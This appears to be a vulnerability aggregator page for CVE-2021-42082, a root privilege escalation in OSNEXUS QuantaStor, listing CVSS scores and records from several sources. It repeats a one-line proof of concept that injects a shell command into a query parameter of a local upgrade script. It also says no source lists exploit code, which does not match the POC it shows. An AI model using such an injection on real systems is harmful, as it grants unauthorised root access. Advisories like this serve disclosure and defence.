CVE-2021-42082
Local Privilege Escalation to root in OSNEXUS QuantaStor before 6.0.0.355
Local users are able to execute scripts under root privileges.
POC
On the local host run the following command:
curl 'localhost:8154/qstor/qs_upgrade.py?taskId=1&a=;whoami'
Attack profile
How easy it is to exploit
- Attack vector
- Local
- Complexity
- Low
- Privileges needed
- Low
- User interaction
- None
What an attacker can affect
- Confidentiality
- High
- Integrity
- High
- Availability
- High
Exploit likelihood
What each source reports
CVE List Score used
Local Privilege Escalation to root in OSNEXUS QuantaStor before 6.0.0.355
Local users are able to execute scripts under root privileges.
POC
On the local host run the following command:
curl 'localhost:8154/qstor/qs_upgrade.py?taskId=1&a=;whoami'
- Record
CVE-2021-42082- CVSS 3.1
- 7.8 High
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H - Weakness
- CWE-269
- Updated
- 2026-11-02
EUVDEUVD-2021-29068
Local users are able to execute scripts under root privileges.
POC
On the local host run the following command:
curl 'localhost:8154/qstor/qs_upgrade.py?taskId=1&a=;whoami'
- Record
EUVD-2021-29068- CVSS 3.1
- 7.8 High
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-3x7w-vvg2-w6r8
Local users are able to execute scripts under root privileges.
Local users are able to execute scripts under root privileges.
- Record
GHSA-3x7w-vvg2-w6r8- CVSS 3.1
- 7.1 High
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N - Weakness
- CWE-269
- Updated
- 2026-11-02
NVD
Local users are able to execute scripts under root privileges.
POC
On the local host run the following command:
curl 'localhost:8154/qstor/qs_upgrade.py?taskId=1&a=;whoami'
- Record
CVE-2021-42082- CVSS 3.1
- 7.8 High
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H - Weakness
- CWE-269
- Updated
- 2026-11-02
Affected products
History
| Recorded | Changed | Sources |
|---|---|---|
| first indexed | CVE List, EUVD, GitHub Advisories, NVD |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2021-42082 is a high vulnerability (CVSS 7.8) in Osnexus Quantastor, published July 10, 2023. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.18%, the 8th percentile. No source names a fixed version.